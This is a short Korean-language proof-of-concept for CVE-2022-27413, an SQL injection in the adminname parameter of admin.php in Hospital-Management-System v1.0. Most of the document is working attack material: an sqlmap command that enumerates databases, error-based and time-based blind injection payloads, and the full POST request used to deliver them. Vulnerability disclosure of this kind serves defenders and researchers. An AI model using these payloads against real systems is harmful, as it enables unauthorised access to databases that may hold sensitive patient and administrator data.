hh1f/cve-2022-27413
취약점 페이지는 admin.php입니다.
http://you ip/HMS/admin.php
Hospital-Management-System v1.0
admin.php 페이지의 adminname 매개변수는 SQL 인젝션 공격에 취약한 것으로 보입니다.
[+]sqlmap:
python3 sqlmap.py -r Your post packet.txt --random-agent --risk=3 --level=3 -dbs
[+] 페이로드:
Parameter: adminname ((custom) POST)
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: adminname=admin' AND EXTRACTVALUE(4756,CONCAT(0x5c,0x717a706a71,(SELECT (ELT(4756=4756,1))),0x7170707a71)) AND 'hOiE'='hOiE&loginid=admin1&password=123456789&cnfirmpassword=123456789&select=Active&submit=%E6%8F%90%E4%BA%A4
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: adminname=admin' AND (SELECT 3117 FROM (SELECT(SLEEP(5)))xtHJ) AND 'beHE'='beHE&loginid=admin1&password=123456789&cnfirmpassword=123456789&select=Active&submit=%E6%8F%90%E4%BA%A4
---
[+]Post 요청 패킷
POST /HMS/admin.php HTTP/1.1
Host: 192.168.10.7
Content-Length: 119
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.7
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.10.7/HMS/admin.php
Accept-Language: zh-CN,zh;q=0.9
Connection: close
adminname=admin1&loginid=admin1&password=123456789&cnfirmpassword=123456789&select=Active&submit=%E6%8F%90%E4%BA%A4
